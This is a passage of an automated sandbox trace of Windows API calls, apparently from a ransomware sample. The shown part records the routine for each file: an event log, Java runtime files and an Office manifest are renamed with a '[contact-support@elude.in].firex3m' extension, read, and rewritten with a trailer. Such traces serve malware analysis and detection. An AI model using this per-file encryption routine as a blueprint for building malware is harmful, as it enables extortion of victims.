(dwMilliseconds=0x1) [0103.239] Sleep (dwMilliseconds=0x1) [0103.265] Sleep (dwMilliseconds=0x1) [0103.271] Sleep (dwMilliseconds=0x1) [0103.293] Sleep (dwMilliseconds=0x1) [0103.302] Sleep (dwMilliseconds=0x1) [0103.321] Sleep (dwMilliseconds=0x1) [0103.366] Sleep (dwMilliseconds=0x1) [0103.402] Sleep (dwMilliseconds=0x1) [0103.434] Sleep (dwMilliseconds=0x1) [0103.448] Sleep (dwMilliseconds=0x1) [0103.467] Sleep (dwMilliseconds=0x1) [0103.497] Sleep (dwMilliseconds=0x1) [0103.511] Sleep (dwMilliseconds=0x1) [0103.527] Sleep (dwMilliseconds=0x1) [0103.543] Sleep (dwMilliseconds=0x1) [0103.559] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx", len=0x36 | out: pbstr=0x41fff7c*="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx") returned 1 [0103.559] GetProcessHeap () returned 0x630000 [0103.559] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6e9080, Size=0x18) returned 0x6b0418 [0103.559] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0103.846] CloseHandle (hObject=0x6d4) returned 1 [0103.846] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0103.846] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0103.847] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0103.847] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1df92a8, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0xb900cf76, dwReserved1=0x0, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI3FC9~1.FIR")) returned 0x6d4f00 [0103.847] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0103.847] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-appmodel-runtime%4admin.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d4 [0103.847] GetProcessHeap () returned 0x630000 [0103.847] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7157438 [0103.847] GetProcessHeap () returned 0x630000 [0103.847] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x7162868 [0103.847] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0103.847] ReadFile (in: hFile=0x6d4, lpBuffer=0x7157438, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7157438*, lpNumberOfBytesRead=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.213] GetProcessHeap () returned 0x630000 [0112.213] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0112.213] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.213] WriteFile (in: hFile=0x6d4, lpBuffer=0x7162868*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7162868*, lpNumberOfBytesWritten=0x41fff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.213] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.213] WriteFile (in: hFile=0x6d4, lpBuffer=0x716dc67*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x716dc67*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0112.213] SetFilePointerEx (in: hFile=0x6d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.213] WriteFile (in: hFile=0x6d4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0112.214] CloseHandle (hObject=0x6d4) returned 1 [0112.216] GetProcessHeap () returned 0x630000 [0112.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7162868 | out: hHeap=0x630000) returned 1 [0112.216] GetProcessHeap () returned 0x630000 [0112.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7157438 | out: hHeap=0x630000) returned 1 [0112.216] GetProcessHeap () returned 0x630000 [0112.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee198 | out: hHeap=0x630000) returned 1 [0112.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0112.217] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41b5f2d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd41b5f2d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x8d68683, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x11024, dwReserved0=0xb307496, dwReserved1=0x7157430, cFileName="Microsoft-Windows-AppModel-Runtime%4Admin.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MI3FC9~1.FIR")) returned 0x6d4f00 [0112.217] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0112.217] Sleep (dwMilliseconds=0x1) [0113.491] Sleep (dwMilliseconds=0x1) [0114.109] Sleep (dwMilliseconds=0x1) [0114.554] Sleep (dwMilliseconds=0x1) [0114.920] Sleep (dwMilliseconds=0x1) [0115.211] Sleep (dwMilliseconds=0x1) [0115.504] Sleep (dwMilliseconds=0x1) [0115.904] Sleep (dwMilliseconds=0x1) [0117.043] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT", len=0x2c | out: pbstr=0x41fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT") returned 1 [0117.044] GetProcessHeap () returned 0x630000 [0117.044] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x69b3c0, Size=0x3c) returned 0x69b060 [0117.044] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0117.045] CloseHandle (hObject=0x714) returned 1 [0117.045] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.045] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.046] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.046] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x0, cFileName="COPYRIGHT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="COPYRI~1.FIR")) returned 0x6d5000 [0117.046] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0117.046] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\copyright.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0117.046] GetProcessHeap () returned 0x630000 [0117.046] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xcc1) returned 0x709768 [0117.046] GetProcessHeap () returned 0x630000 [0117.047] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xcc1) returned 0x695ed0 [0117.047] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.047] ReadFile (in: hFile=0x714, lpBuffer=0x709768, nNumberOfBytesToRead=0xca0, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x709768*, lpNumberOfBytesRead=0x41fff0c*=0xca0, lpOverlapped=0x0) returned 1 [0117.064] GetProcessHeap () returned 0x630000 [0117.064] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeb70 [0117.064] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.064] WriteFile (in: hFile=0x714, lpBuffer=0x695ed0*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x695ed0*, lpNumberOfBytesWritten=0x41fff0c*=0xca0, lpOverlapped=0x0) returned 1 [0117.064] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.064] WriteFile (in: hFile=0x714, lpBuffer=0x696b6f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x696b6f*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0117.064] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.064] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0117.064] CloseHandle (hObject=0x714) returned 1 [0117.065] GetProcessHeap () returned 0x630000 [0117.065] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x695ed0 | out: hHeap=0x630000) returned 1 [0117.065] GetProcessHeap () returned 0x630000 [0117.065] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x709768 | out: hHeap=0x630000) returned 1 [0117.065] GetProcessHeap () returned 0x630000 [0117.065] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeb70 | out: hHeap=0x630000) returned 1 [0117.065] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.065] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\COPYRIGHT.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xbb9ac45, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0xcd0, dwReserved0=0xb307496, dwReserved1=0x709760, cFileName="COPYRIGHT.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="COPYRI~1.FIR")) returned 0x6d5380 [0117.066] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0117.066] Sleep (dwMilliseconds=0x1) [0117.114] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe", len=0x34 | out: pbstr=0x41fff7c*="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe") returned 1 [0117.114] GetProcessHeap () returned 0x630000 [0117.114] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d4e00, Size=0x34) returned 0x6d5200 [0117.114] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0117.115] CloseHandle (hObject=0x714) returned 1 [0117.115] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0117.115] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0117.116] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0117.116] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0xd508e13c, dwReserved1=0x0, cFileName="tnameserv.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TNAMES~1.FIR")) returned 0x6d5240 [0117.116] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0117.116] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\tnameserv.exe.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x714 [0117.116] GetProcessHeap () returned 0x630000 [0117.116] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x6f2e0b8 [0117.117] GetProcessHeap () returned 0x630000 [0117.117] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4061) returned 0x73005d8 [0117.117] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.117] ReadFile (in: hFile=0x714, lpBuffer=0x6f2e0b8, nNumberOfBytesToRead=0x4040, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f2e0b8*, lpNumberOfBytesRead=0x41fff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.555] GetProcessHeap () returned 0x630000 [0118.555] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee080 [0118.556] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.556] WriteFile (in: hFile=0x714, lpBuffer=0x73005d8*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x73005d8*, lpNumberOfBytesWritten=0x41fff0c*=0x4040, lpOverlapped=0x0) returned 1 [0118.556] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.556] WriteFile (in: hFile=0x714, lpBuffer=0x7304617*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x7304617*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0118.556] SetFilePointerEx (in: hFile=0x714, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0118.556] WriteFile (in: hFile=0x714, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0118.556] CloseHandle (hObject=0x714) returned 1 [0118.557] GetProcessHeap () returned 0x630000 [0118.557] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73005d8 | out: hHeap=0x630000) returned 1 [0118.558] GetProcessHeap () returned 0x630000 [0118.558] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f2e0b8 | out: hHeap=0x630000) returned 1 [0118.558] GetProcessHeap () returned 0x630000 [0118.558] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee080 | out: hHeap=0x630000) returned 1 [0118.558] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0118.558] FindFirstFileW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\tnameserv.exe.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffcc4 | out: lpFindFileData=0x41ffcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xc9c6560, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4064, dwReserved0=0xb307496, dwReserved1=0x6f2e0b0, cFileName="tnameserv.exe.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TNAMES~1.FIR")) returned 0x6d5380 [0118.558] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0118.558] Sleep (dwMilliseconds=0x1) [0123.242] SysReAllocStringLen (in: pbstr=0x41fff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml", len=0x68 | out: pbstr=0x41fff7c*="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml") returned 1 [0123.242] GetProcessHeap () returned 0x630000 [0123.242] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x66a3e0, Size=0x1b8) returned 0x66a3e0 [0123.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0123.243] CloseHandle (hObject=0x6bc) returned 1 [0123.243] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0123.243] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0123.244] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x41fef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0123.244] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x41ffc6c | out: lpFindFileData=0x41ffc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x8394994f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8394994f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x84214453, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xeaa, dwReserved0=0x630061, dwReserved1=0x2d0074, cFileName="AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AP26BD~1.FIR")) returned 0x6d5200 [0123.244] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0123.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00E2-0000-1000-0000000FF1CE.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00e2-0000-1000-0000000ff1ce.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6bc [0123.244] GetProcessHeap () returned 0x630000 [0123.244] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x70080a0 [0123.244] GetProcessHeap () returned 0x630000 [0123.244] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xec1) returned 0x727d80 [0123.244] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.244] ReadFile (in: hFile=0x6bc, lpBuffer=0x70080a0, nNumberOfBytesToRead=0xea0, lpNumberOfBytesRead=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x70080a0*, lpNumberOfBytesRead=0x41fff0c*=0xea0, lpOverlapped=0x0) returned 1 [0123.289] GetProcessHeap () returned 0x630000 [0123.289] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee198 [0123.290] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.290] WriteFile (in: hFile=0x6bc, lpBuffer=0x727d80*, nNumberOfBytesToWrite=0xea0, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x727d80*, lpNumberOfBytesWritten=0x41fff0c*=0xea0, lpOverlapped=0x0) returned 1 [0123.290] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.290] WriteFile (in: hFile=0x6bc, lpBuffer=0x728c1f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x728c1f*, lpNumberOfBytesWritten=0x41fff0c*=0x20, lpOverlapped=0x0) returned 1 [0123.290] SetFilePointerEx (in: hFile=0x6bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0123.290] WriteFile (in: hFile=0x6bc, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x41fff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x41fff0c*=0x4, lpOverlapped=0x0) returned 1 [0123.290] CloseHandle (hObject=0x6bc) returned 1 [0123.292] 